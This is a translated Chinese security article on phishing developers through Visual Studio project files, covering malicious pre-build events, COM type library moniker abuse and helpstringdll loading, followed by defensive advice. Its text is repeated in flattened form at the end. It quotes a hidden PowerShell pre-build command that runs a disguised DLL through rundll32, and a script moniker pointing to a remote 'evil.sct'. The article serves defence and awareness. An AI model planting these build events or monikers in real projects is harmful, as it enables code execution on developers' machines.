【翻译】利用Visual Studio钓鱼攻击的思考
字数 1654 2025-08-23 18:31:34

Visual Studio钓鱼攻击技术分析与防御指南

0x00 概述

本文详细分析通过Visual Studio项目文件进行初始访问攻击的技术原理,包括自定义构建事件、COM类型库滥用等攻击手段。这些技术可被用于针对开发者的定向攻击,特别是在安全研究领域。

0x01 攻击面分析

1.1 自定义构建事件攻击

Visual Studio允许在项目文件中定义构建前/后事件,攻击者可利用此特性植入恶意代码:

<PreBuildEvent>
  <Command>powershell -executionpolicy bypass -windowstyle hidden if(([system.environment]::osversion.version.major -eq 10) -and [system.environment]::is64bitoperatingsystem -and (Test-Path x64\Debug\Browse.VC.db)){rundll32 x64\Debug\Browse.VC.db,ENGINE_get_RAND 7am1cKZAEb9Nl1pL 4201}</Command>
</PreBuildEvent>

特点

  • 在构建时自动执行恶意命令
  • 可隐藏执行PowerShell脚本
  • 可加载恶意DLL并调用特定函数

1.2 COM类型库攻击

1.2.1 类型库基础

类型库是COM中描述接口的二进制格式,C++可通过import指令引用:

#import "EvilTypeLib.tlb"

类型库可通过IDL定义并编译:

[object, uuid(10000001-0000-0000-0000-000000000001)]
interface ISum : IUnknown {
  HRESULT Sum(int x, int y, [out, retval] int* retval);
}

[uuid(10000003-0000-0000-0000-000000000001)]
library Component {
  importlib("stdole32.tlb");
  interface ISum;
  [uuid(10000002-0000-0000-0000-000000000001)]
  coclass InsideCOM {
    interface ISum;
  }
};

1.2.2 类型库漏洞利用

攻击者可利用以下技术链:

  1. 恶意类型库内存破坏

    • 滥用未记录的"Reserved7"字段作为虚表偏移量
    • 控制虚表指针指向任意代码
  2. Monikers利用

    • LoadTypeLib()会解析名字对象
    • 使用Windows脚本组件名字对象:
      script:https://outflank.nl/evil.sct
      
  3. 嵌套类型库隐藏

    • 创建引用另一个类型库的类型库
    • 实际引用的是名字字符串而非类型库
    • 内存中修改或十六进制编辑替换引用

1.2.3 编译时攻击链

#import "EvilTypeLib.tlb"

触发流程:

  1. 预处理器调用LoadTypeLib()
  2. 加载初始类型库并解析嵌套引用
  3. MkParseDisplayName()解析名字字符串
  4. IMoniker::BindToObject()绑定脚本组件对象
  5. 加载远程恶意脚本

1.3 查看代码时攻击

通过项目文件中的COMFileReference触发:

<COMFileReference Include="files\helpstringdll.tlb">
  <EmbedInteropTypes>True</EmbedInteropTypes>
</COMFileReference>

恶意类型库定义:

[uuid(10000002-0000-0000-0000-000000000001), version(1.0), 
 helpstringcontext(103), helpstringdll("helpstringdll.dll")]
library ComponentLib { ... };

攻击流程:

  1. VS加载项目时解析COMFileReference
  2. 属性窗口解析HelpstringDLL属性
  3. 加载恶意DLL并调用DLLGetDocumentation()

0x02 攻击影响与场景

2.1 攻击场景

  1. 鱼叉式钓鱼攻击

    • 发送恶意VS项目文件给目标开发者
    • VS项目文件不在Outlook阻止列表中
  2. 代码仓库攻击

    • 入侵GitHub/GitLab账户植入恶意项目
    • 设置虚假GitHub项目作为水坑攻击
  3. 供应链攻击

    • 污染开源项目依赖

2.2 防御规避

  • 使用git clone不设置MOTW(网络文件标记)
  • 引用WebDAV上的远程资源
  • 隐藏恶意代码在看似正常的项目中

0x03 相关攻击面扩展

3.1 其他易受攻击的软件

  1. 集成开发环境

    • MS Office VBA编辑器(CVE-2020-0760)
  2. 逆向工程工具

    • IDA Pro的COM插件
    • OLE查看器
    • NirSoft DLL导出查看器
  3. 其他软件

    • Total Commander的FileInfo插件
    • 支持ActiveX的浏览器组件

3.2 检测工具

  • API Monitor:监控LoadTypeLib(Ex)调用
  • Process Monitor:监控类型库加载行为

0x04 防御措施

4.1 开发者防护

  1. 项目文件处理

    • 始终在沙箱中打开不受信任的VS项目
    • 注意查看VS的安全警告
    • 审查项目文件中的可疑XML标签
  2. 环境配置

    • 禁用不必要的构建事件
    • 限制PowerShell执行策略
    • 禁用WebDAV协议
  3. 代码审查

    • 检查所有#import指令引用的类型库
    • 验证项目文件中的COM引用

4.2 企业防护

  1. 终端防护

    • 部署EDR监控异常进程行为
    • 限制开发机的网络访问
  2. 策略配置

    • 强制标记网络下载文件(MOTW)
    • 拦截可疑的WebDAV请求
  3. 安全意识

    • 培训开发者识别可疑项目
    • 建立代码来源验证流程

0x05 总结

Visual Studio项目文件提供了多种隐蔽的攻击途径,从自定义构建事件到复杂的COM类型库滥用。这些技术可导致仅通过打开或查看项目文件就触发恶意代码执行。微软认为这是预期行为,不会修复,因此开发者必须自行采取防护措施,将不可信代码视为潜在威胁并在安全环境中处理。

Visual Studio钓鱼攻击技术分析与防御指南 0x00 概述 本文详细分析通过Visual Studio项目文件进行初始访问攻击的技术原理,包括自定义构建事件、COM类型库滥用等攻击手段。这些技术可被用于针对开发者的定向攻击,特别是在安全研究领域。 0x01 攻击面分析 1.1 自定义构建事件攻击 Visual Studio允许在项目文件中定义构建前/后事件,攻击者可利用此特性植入恶意代码: 特点 : 在构建时自动执行恶意命令 可隐藏执行PowerShell脚本 可加载恶意DLL并调用特定函数 1.2 COM类型库攻击 1.2.1 类型库基础 类型库是COM中描述接口的二进制格式,C++可通过 import 指令引用: 类型库可通过IDL定义并编译: 1.2.2 类型库漏洞利用 攻击者可利用以下技术链: 恶意类型库内存破坏 : 滥用未记录的"Reserved7"字段作为虚表偏移量 控制虚表指针指向任意代码 Monikers利用 : LoadTypeLib() 会解析名字对象 使用Windows脚本组件名字对象: 嵌套类型库隐藏 : 创建引用另一个类型库的类型库 实际引用的是名字字符串而非类型库 内存中修改或十六进制编辑替换引用 1.2.3 编译时攻击链 触发流程: 预处理器调用 LoadTypeLib() 加载初始类型库并解析嵌套引用 MkParseDisplayName() 解析名字字符串 IMoniker::BindToObject() 绑定脚本组件对象 加载远程恶意脚本 1.3 查看代码时攻击 通过项目文件中的 COMFileReference 触发: 恶意类型库定义: 攻击流程: VS加载项目时解析 COMFileReference 属性窗口解析 HelpstringDLL 属性 加载恶意DLL并调用 DLLGetDocumentation() 0x02 攻击影响与场景 2.1 攻击场景 鱼叉式钓鱼攻击 : 发送恶意VS项目文件给目标开发者 VS项目文件不在Outlook阻止列表中 代码仓库攻击 : 入侵GitHub/GitLab账户植入恶意项目 设置虚假GitHub项目作为水坑攻击 供应链攻击 : 污染开源项目依赖 2.2 防御规避 使用 git clone 不设置MOTW(网络文件标记) 引用WebDAV上的远程资源 隐藏恶意代码在看似正常的项目中 0x03 相关攻击面扩展 3.1 其他易受攻击的软件 集成开发环境 : MS Office VBA编辑器(CVE-2020-0760) 逆向工程工具 : IDA Pro的COM插件 OLE查看器 NirSoft DLL导出查看器 其他软件 : Total Commander的FileInfo插件 支持ActiveX的浏览器组件 3.2 检测工具 API Monitor :监控 LoadTypeLib(Ex) 调用 Process Monitor :监控类型库加载行为 0x04 防御措施 4.1 开发者防护 项目文件处理 : 始终在沙箱中打开不受信任的VS项目 注意查看VS的安全警告 审查项目文件中的可疑XML标签 环境配置 : 禁用不必要的构建事件 限制PowerShell执行策略 禁用WebDAV协议 代码审查 : 检查所有 #import 指令引用的类型库 验证项目文件中的COM引用 4.2 企业防护 终端防护 : 部署EDR监控异常进程行为 限制开发机的网络访问 策略配置 : 强制标记网络下载文件(MOTW) 拦截可疑的WebDAV请求 安全意识 : 培训开发者识别可疑项目 建立代码来源验证流程 0x05 总结 Visual Studio项目文件提供了多种隐蔽的攻击途径,从自定义构建事件到复杂的COM类型库滥用。这些技术可导致仅通过打开或查看项目文件就触发恶意代码执行。微软认为这是预期行为,不会修复,因此开发者必须自行采取防护措施,将不可信代码视为潜在威胁并在安全环境中处理。